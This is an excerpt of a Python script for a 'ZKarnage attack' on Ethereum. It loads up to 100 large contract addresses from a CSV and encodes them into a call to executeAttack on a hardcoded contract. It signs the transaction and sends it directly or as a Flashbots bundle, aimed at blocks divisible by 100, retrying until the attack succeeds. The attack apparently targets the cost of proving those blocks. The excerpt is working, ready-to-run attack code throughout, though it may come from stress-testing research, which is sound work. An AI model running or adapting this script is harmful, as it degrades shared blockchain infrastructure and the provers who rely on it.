625 | logger.info(f"EXCELLENT! Bundle has been sealed by {len(seals)} builders")
626 | for sealed in seals:
627 | logger.info(f" - Sealed by: {sealed.get('pubkey')[:16]}... at {sealed.get('timestamp')}")
628 | elif builders:
629 | logger.info(f"Bundle is being considered by {len(builders)} builders")
630 | else:
631 | # If no builders are considering it, analyze why
632 | if status_result.get('isHighPriority', False):
633 | logger.info("Bundle is high priority but not yet considered by builders")
634 |
635 | # Check simulation status
636 | if status_result.get('isSimulated', False):
637 | logger.info(f"Bundle was simulated at: {status_result.get('simulatedAt')}")
638 | else:
639 | logger.warning("Bundle has not been simulated yet")
640 |
641 | last_status_check = time.time()
642 |
643 | await asyncio.sleep(5) # Check every 5 seconds
644 | current_block = self.w3.eth.block_number
645 |
646 | # Only log when block number changes
647 | if current_block > last_logged_block:
648 | logger.info(f"Waiting for block {target_block}, current block is {current_block}")
649 | last_logged_block = current_block
650 |
651 | logger.info(f"Target block {target_block} reached")
652 |
653 | # Now that we've reached the target block, check for our transaction
654 | logger.info(f"Checking block {target_block} for bundle inclusion")
655 |
656 | # Get the block and check for our transaction
657 | block = self.w3.eth.get_block(target_block, full_transactions=True)
658 | tx_count = len(block.transactions)
659 | logger.info(f"Block contains {tx_count} transactions")
660 |
661 | # Check for our transaction in the block
662 | for tx in block.transactions:
663 | # Try to match our bundle hash or tx hash
664 | tx_hash_current = self.w3.to_hex(tx.hash) if hasattr(tx, 'hash') else tx
665 |
666 | # If we have a tx_hash to match against, use it
667 | if tx_hash and tx_hash_current.lower() == tx_hash.lower():
668 | logger.info(f"Found our transaction in the block: {tx_hash}")
669 | return True
670 |
671 | # Get receipt to check status
672 | try:
673 | receipt = self.w3.eth.get_transaction_receipt(tx_hash_current)
674 | if receipt:
675 | # Check if this transaction is from our account
676 | if receipt.get('from', '').lower() == self.account.address.lower():
677 | logger.info(f"Found our transaction: {tx_hash_current}")
678 | logger.info(f"Transaction status: {'Success' if receipt.status == 1 else 'Failed'}")
679 | return receipt.status == 1
680 | except Exception as e:
681 | logger.warning(f"Error checking receipt for tx {tx_hash_current}: {e}")
682 |
683 | # Now that target block has passed, check transaction status using the API
684 | if tx_hash:
685 | logger.info(f"Checking individual transaction status via Flashbots API after target block...")
686 | final_tx_status = await self.flashbots.check_transaction_status(tx_hash)
687 |
688 | status = final_tx_status.get("status", "UNKNOWN")
689 | logger.info(f"Transaction Status: {status}")
690 |
691 | if status == "INCLUDED":
692 | logger.info(f"Transaction {tx_hash} was confirmed as included via Transaction Status API")
693 | return True
694 |
695 | # Do one final check with the V2 API to confirm status
696 | final_status = await self.flashbots.check_flashbots_status(bundle_hash, target_block)
697 |
698 | if 'result' in final_status:
699 | status_result = final_status.get('result', {})
700 | seals = status_result.get('sealedByBuildersAt', [])
701 |
702 | if seals:
703 | logger.warning(f"Bundle was sealed by {len(seals)} builders but not found in block {target_block}")
704 | logger.warning("This is unusual and may indicate the bundle was outbid or the block producer chose a different bundle")
705 | else:
706 | logger.warning(f"Bundle with hash {bundle_hash} was not sealed by any builders")
707 | logger.warning("The bundle was likely not competitive enough for inclusion")
708 |
709 | logger.warning(f"Bundle with hash {bundle_hash} not found in block {target_block}")
710 | return False
711 |
712 | except Exception as e:
713 | logger.error(f"Error checking bundle status: {e}")
714 | logger.error(f"Traceback: {traceback.format_exc()}")
715 | return False
716 |
717 | async def execute_attack(self, target_hundred: bool = True, fast_mode: bool = False, flashbots_mode: bool = False) -> bool:
718 | """
719 | Execute ZKarnage attack.
720 |
721 | Args:
722 | target_hundred: Whether to target block divisible by 100
723 | fast_mode: If True, target a block just 2 blocks ahead instead of waiting for hundred-block
724 | flashbots_mode: If True, submit Flashbots bundle instead of direct transaction
725 |
726 | Returns:
727 | Whether attack was successful
728 | """
729 | try:
730 | # Validate contract is deployed
731 | if not self.contract_address:
732 | raise ZKarnageError("No contract address specified")
733 |
734 | # Determine target block
735 | current_block = self.w3.eth.block_number
736 | if fast_mode:
737 | target_block = current_block + 2 # Target just 2 blocks ahead for quick testing
738 | logger.info("FAST MODE: Targeting block 2 blocks ahead")
739 | else:
740 | target_block = self.get_next_hundred_block(current_block) if target_hundred else current_block + 1
741 |
742 | # Log attack details
743 | logger.info(f"Preparing ZKarnage attack")
744 | logger.info(f"Current block: {current_block}")
745 | logger.info(f"Target block: {target_block}")
746 |
747 | # Check user stats to determine if we need higher fees only if in Flashbots mode
748 | is_high_priority = False
749 | if flashbots_mode:
750 | logger.info("Checking Flashbots user stats and reputation...")
751 | user_stats = await self.flashbots.check_user_stats(current_block)
752 |
753 | if 'result' in user_stats:
754 | is_high_priority = user_stats.get('result', {}).get('isHighPriority', False)
755 |
756 | if not is_high_priority:
757 | logger.warning("Account does not have high priority status with Flashbots")
758 | logger.warning("Bundles may need higher priority fees to be competitive")
759 | else:
760 | logger.info("Account has HIGH PRIORITY status with Flashbots - bundles will be prioritized")
761 |
762 | # Prepare transaction with priority fee adjusted based on reputation
763 | tx = self._prepare_attack_transaction(target_block, is_high_priority)
764 | signed_tx = self.w3.eth.account.sign_transaction(tx, self.account.key)
765 |
766 | # Extract transaction hash for later status checks
767 | tx_hash = signed_tx.hash.hex()
768 | logger.info(f"Transaction hash: {tx_hash}")
769 |
770 | # Wait until we're 4 blocks away from target
771 | last_logged_block = current_block
772 | while True:
773 | current_block = self.w3.eth.block_number
774 | blocks_remaining = target_block - current_block
775 |
776 | if blocks_remaining <= 4:
777 | logger.info(f"Within 4 blocks of target (current: {current_block}, target: {target_block})")
778 | break
779 |
780 | # Only log if block number changed and it's a multiple of 10 blocks remaining
781 | if current_block > last_logged_block and blocks_remaining % 10 == 0:
782 | logger.info(f"Waiting for block {current_block + (blocks_remaining - 4)} to submit bundle (current: {current_block}, target: {target_block})")
783 | last_logged_block = current_block
784 |
785 | await asyncio.sleep(2) # Check every 2 seconds
786 |
787 | if not flashbots_mode:
788 | # Wait until 1 block before target
789 | while current_block < target_block - 1:
790 | current_block = self.w3.eth.block_number
791 | await asyncio.sleep(1)
792 |
793 | # Submit direct transaction
794 | logger.info("Submitting direct transaction...")
795 | tx_hash = self.w3.eth.send_raw_transaction(signed_tx.rawTransaction)
796 | logger.info(f"Transaction submitted with hash: {tx_hash.hex()}")
797 |
798 | # Wait for transaction to be mined
799 | logger.info("Waiting for transaction to be mined...")
800 | receipt = self.w3.eth.wait_for_transaction_receipt(tx_hash, timeout=300) # 5 minute timeout
801 |
802 | if receipt and receipt.status == 1:
803 | logger.info("Transaction successfully mined!")
804 | return True
805 | else:
806 | logger.error("Transaction failed or timed out")
807 | return False
808 |
809 | # Simulate bundle
810 | logger.info("Simulating bundle...")
811 | sim_result = await self.flashbots.simulate_bundle(
812 | [signed_tx.rawTransaction],
813 | target_block
814 | )
815 |
816 | # Check for transaction revert in simulation results
817 | if sim_result.get('raw_result', {}).get('result', {}).get('results', []):
818 | tx_results = sim_result.get('raw_result', {}).get('result', {}).get('results', [])
819 | for i, tx_result in enumerate(tx_results):
820 | if tx_result.get('error'):
821 | logger.error(f"Transaction {i} failed with error: {tx_result.get('error')}")
822 | # If there's a revert reason, try to decode it
823 | if 'revert' in tx_result.get('error', '') and tx_result.get('revert'):
824 | logger.error(f"Revert reason: {tx_result.get('revert')}")
825 |
826 | # Check simulation result in detail
827 | if not sim_result.get('success', False):
828 | logger.error("Bundle simulation failed")
829 |
830 | # Log detailed simulation error
831 | if 'error' in sim_result:
832 | logger.error(f"Simulation error: {sim_result['error']}")
833 |
834 | # Provide additional helpful information
835 | logger.error("Possible issues:")
836 | logger.error("1. Verify contract function signature: executeAttack(address[])")
837 | logger.error("2. Check if target contract exists at the specified address")
838 | logger.error("3. Check if the account has sufficient gas")
839 |
840 | # Check if the transaction is actually successful despite errors
841 | if sim_result.get('raw_result', {}).get('result', {}).get('bundleHash'):
842 | logger.info("Transaction produced a bundleHash, proceeding with submission anyway")
843 | else:
844 | return False
845 |
846 | # Log simulation details
847 | sim_details = sim_result.get('details', {})
848 | logger.info(f"Simulation successful")
849 | logger.info(f"Total gas used: {sim_details.get('totalGasUsed', 'N/A')}")
850 | logger.info(f"Coinbase difference: {sim_details.get('coinbaseDiff', 'N/A')}")
851 |
852 | # Submit bundle
853 | logger.info("Submitting bundle to Flashbots...")
854 | bundle_submission = await self.flashbots.submit_bundle(
855 | [signed_tx.rawTransaction],
856 | target_block
857 | )
858 |
859 | # Check bundle submission
860 | if not bundle_submission:
861 | logger.error("Bundle submission failed")
862 | return False
863 |
864 | # Log bundle submission details
865 | bundle_hash = bundle_submission.get('bundle_hash', 'N/A')
866 | logger.info(f"Bundle submitted successfully")
867 | logger.info(f"Bundle Hash: {bundle_hash}")
868 |
869 | # Check transaction status using the transaction status API
870 | logger.info(f"Checking individual transaction status via Flashbots API...")
871 | tx_status = await self.flashbots.check_transaction_status(tx_hash)
872 | logger.info(f"Transaction status API response: {json.dumps(tx_status, indent=2)}")
873 |
874 | # Check bundle status with Flashbots V2 API
875 | logger.info(f"Checking bundle status with Flashbots V2 API...")
876 | status = await self.flashbots.check_flashbots_status(bundle_hash, target_block)
877 |
878 | # Process the V2 API response
879 | if 'result' in status:
880 | status_result = status.get('result', {})
881 | logger.info(f"Bundle Status V2: {json.dumps(status_result, indent=2)}")
882 |
883 | # Display key bundle metrics
884 | is_high_priority = status_result.get('isHighPriority', False)
885 | is_simulated = status_result.get('isSimulated', False)
886 |
887 | logger.info(f"Bundle priority: {'HIGH' if is_high_priority else 'STANDARD'}")
888 | logger.info(f"Bundle simulation: {'COMPLETED' if is_simulated else 'PENDING'}")
889 |
890 | # Check if any builders are considering the bundle
891 | builders_considering = status_result.get('consideredByBuildersAt', [])
892 | if builders_considering:
893 | logger.info(f"Bundle is being considered by {len(builders_considering)} builders")
894 | else:
895 | logger.warning(f"Bundle is not being considered by any builders")
896 |
897 | # Check if any builders have sealed the bundle
898 | builders_sealed = status_result.get('sealedByBuildersAt', [])
899 | if builders_sealed:
900 | logger.info(f"GREAT NEWS! Bundle has been sealed by {len(builders_sealed)} builders")
901 | for sealed in builders_sealed:
902 | logger.info(f" - Sealed by: {sealed.get('pubkey')[:16]}... at {sealed.get('timestamp')}")
903 | else:
904 | logger.warning(f"No status result available for bundle {bundle_hash}")
905 |
906 | # Wait for the target block and check bundle inclusion
907 | logger.info(f"Waiting for target block {target_block} to check bundle inclusion")
908 | bundle_included = await self.check_bundle_status(bundle_hash, target_block, tx_hash)
909 |
910 | if bundle_included:
911 | logger.info(f"Bundle successfully included in block {target_block}")
912 | return True
913 | else:
914 | logger.warning(f"Bundle not included in target block {target_block}")
915 | return False
916 |
917 | except Exception as e:
918 | logger.error(f"Attack execution failed: {e}")
919 | logger.error(f"Traceback: {traceback.format_exc()}")
920 | return False
921 |
922 | def _prepare_attack_transaction(self, target_block: int, is_high_priority: bool) -> Dict[str, Any]:
923 | """
924 | Prepare attack transaction.
925 |
926 | Args:
927 | target_block: Block number to target
928 | is_high_priority: Whether the account has high priority status (no longer used)
929 |
930 | Returns:
931 | Transaction dictionary
932 | """
933 | # Get latest block for base fee estimation
934 | latest = self.w3.eth.get_block("latest")
935 | base_fee = latest.get("baseFeePerGas", self.w3.eth.gas_price)
936 |
937 | # ABI for executing attack (simplified)
938 | attack_abi = {
939 | "inputs": [{"name": "targets", "type": "address[]"}],
940 | "name": "executeAttack",
941 | "type": "function"
942 | }
943 |
944 | # Load contract targets from CSV file
945 | try:
946 | import csv
947 | import os
948 |
949 | # Get the directory of the current script
950 | script_dir = os.path.dirname(os.path.abspath(__file__))
951 | csv_path = os.path.join(script_dir, "big-contracts.csv")
952 |
953 | # Default to 100 contracts if not specified
954 | max_contracts = int(os.getenv('MAX_CONTRACTS', '100'))
955 |
956 | contract_targets = []
957 | with open(csv_path, 'r') as f:
958 | reader = csv.DictReader(f)
959 | for row in reader:
960 | if len(contract_targets) >= max_contracts:
961 | break
962 | contract_targets.append(Web3.to_checksum_address(row['address']))
963 |
964 | logger.info(f"Loaded {len(contract_targets)} contracts from {csv_path}")
965 |
966 | except Exception as e:
967 | logger.error(f"Error loading contracts from CSV: {e}")
968 | logger.error("Falling back to hardcoded contract list")
969 | # Fallback to hardcoded list if CSV loading fails
970 | contract_targets = [
971 | Web3.to_checksum_address("0x1908D2bD020Ba25012eb41CF2e0eAd7abA1c48BC"),
972 | # ... rest of the hardcoded addresses ...
973 | ]
974 |
975 | # Debug print addresses
976 | logger.info(f"Contract targets: {contract_targets}")
977 | logger.info(f"Number of targets: {len(contract_targets)}")
978 |
979 | # Encode the function call data using eth-abi
980 | encoded_data = encode(['address[]'], [contract_targets])
981 |
982 | # Debug print encoded data
983 | logger.info(f"Encoded data (hex): {encoded_data.hex()}")
984 |
985 | # Get function signature - ensure we get exactly 4 bytes
986 | function_selector = Web3.keccak(text="executeAttack(address[])").hex()[0:10] # 0x + 8 chars (4 bytes)
987 | logger.info(f"Function selector: {function_selector}")
988 |
989 | # Full transaction data
990 | data = function_selector + encoded_data.hex()
991 | logger.info(f"Complete transaction data: {data[:64]}...")
992 |
993 | # Set standard fees
994 | max_priority_fee = Web3.to_wei(0.1, 'gwei') # Standard priority fee
995 | max_fee_per_gas = base_fee + Web3.to_wei(1, 'gwei') # Base fee plus 1 gwei
996 |
997 | logger.info(f"Using standard fees - Max Fee: {Web3.from_wei(max_fee_per_gas, 'gwei')} gwei, "
998 | f"Priority Fee: {Web3.from_wei(max_priority_fee, 'gwei')} gwei")
999 |
1000 | # Calculate gas limit based on number of contracts
1001 | # Base cost of 86k gas for 12 contracts = ~7,167 gas per contract
1002 | gas_per_contract = 7167
1003 | num_contracts = len(contract_targets)
1004 | gas_limit = gas_per_contract * num_contracts
1005 |
1006 | # Add some buffer (20%) to account for variations
1007 | gas_limit = int(gas_limit * 1.2)
1008 |
1009 | logger.info(f"Calculated gas limit: {gas_limit} (based on {num_contracts} contracts)")
1010 |
1011 | # Create transaction dictionary with all required fields
1012 | tx = {
1013 | 'type': 2, # EIP-1559 transaction
1014 | 'to': self.contract_address,
1015 | 'from': self.account.address,
1016 | 'gas': gas_limit,
1017 | 'value': 0, # Important to set explicitly
1018 | 'maxFeePerGas': max_fee_per_gas,
1019 | 'maxPriorityFeePerGas': max_priority_fee,
1020 | 'nonce': self.w3.eth.get_transaction_count(self.account.address),
1021 | 'data': data,
1022 | 'chainId': self.w3.eth.chain_id,
1023 | }
1024 |
1025 | logger.info(f"Transaction prepared: {tx}")
1026 | return tx
1027 |
1028 | async def main():
1029 | """Main execution function."""
1030 | # Load environment variables
1031 | load_dotenv()
1032 |
1033 | # Check for flags
1034 | fast_mode = "--fast" in sys.argv
1035 | flashbots_mode = "--flashbots" in sys.argv
1036 |
1037 | if fast_mode:
1038 | logger.info("Fast mode enabled: will target block 2 blocks ahead")
1039 | if flashbots_mode:
1040 | logger.info("Flashbots mode enabled: will submit bundle instead of direct transaction")
1041 | else:
1042 | logger.info("Direct transaction mode: will submit transaction directly to network")
1043 |
1044 | # Required environment variables
1045 | ETH_RPC_URL = os.getenv('ETH_RPC_URL')
1046 | PRIVATE_KEY = os.getenv('PRIVATE_KEY')
1047 | FLASHBOTS_RELAY_URL = os.getenv('FLASHBOTS_RELAY_URL', 'https://relay.flashbots.net')
1048 | CONTRACT_ADDRESS = os.getenv('ZKARNAGE_CONTRACT_ADDRESS', "0x55A942D18C0C57975e834Ee3afc8DEe01b674C43")
1049 |
1050 | # Log the contract address being used
1051 | logger.info(f"Using ZKarnage contract address: {CONTRACT_ADDRESS}")
1052 |
1053 | # Validate required variables
1054 | if not all([ETH_RPC_URL, PRIVATE_KEY, CONTRACT_ADDRESS]):
1055 | logger.error("Missing required environment variables")
1056 | return 1
1057 |
1058 | # Initialize Web3
1059 | w3 = Web3(HTTPProvider(ETH_RPC_URL))
1060 |
1061 | # Validate connection
1062 | if not w3.is_connected():
1063 | logger.error("Failed to connect to Ethereum network")
1064 | return 1
1065 |
1066 | # Create account
1067 | account = Account.from_key(PRIVATE_KEY)
1068 |
1069 | # Initialize ZKarnage
1070 | zkarnage = ZKarnage(
1071 | w3=w3,
1072 | account=account,
1073 | relay_url=FLASHBOTS_RELAY_URL,
1074 | contract_address=Web3.to_checksum_address(CONTRACT_ADDRESS)
1075 | )
1076 |
1077 | # For fast mode, just run once
1078 | if fast_mode:
1079 | logger.info("Fast mode: Running single attack attempt")
1080 | success = await zkarnage.execute_attack(target_hundred=True, fast_mode=True, flashbots_mode=flashbots_mode)
1081 | return 0 if success else 1
1082 |
1083 | # For hundred-block mode, keep trying until success
1084 | logger.info("Continuous mode: Will keep trying until a successful attack")
1085 | attempt_number = 1
1086 |
1087 | while True:
1088 | logger.info(f"=== Starting attack attempt #{attempt_number} ===")
1089 |
1090 | # Get current block to estimate time until next hundred-block
1091 | current_block = w3.eth.block_number
1092 | next_hundred = zkarnage.get_next_hundred_block(current_block)
1093 | blocks_to_wait = next_hundred - current_block
1094 |
1095 | logger.info(f"Current block: {current_block}")
1096 | logger.info(f"Next target block: {next_hundred} ({blocks_to_wait} blocks away)")
1097 |
1098 | # Run the attack
1099 | success = await zkarnage.execute_attack(target_hundred=True, fast_mode=False, flashbots_mode=flashbots_mode)
1100 |
1101 | if success:
1102 | logger.info(f"Attack succeeded on attempt #{attempt_number}!")
1103 | return 0
1104 |
1105 | logger.warning(f"Attack attempt #{attempt_number} failed. Preparing for next attempt...")
1106 | attempt_number += 1
1107 |
1108 | # Wait a bit before trying again to avoid hammering the API
1109 | # Calculate approximately how long until the next hundred-block
1110 | # Assuming ~12 second block times
1111 | estimated_wait = (blocks_to_wait-4) * 12 / 2
1112 | logger.info(f"Waiting {estimated_wait:.0f} seconds before next attempt...")
1113 | await asyncio.sleep(estimated_wait)
1114 |
1115 | if __name__ == "__main__":
1116 | sys.exit(asyncio.run(main()))
--------------------------------------------------------------------------------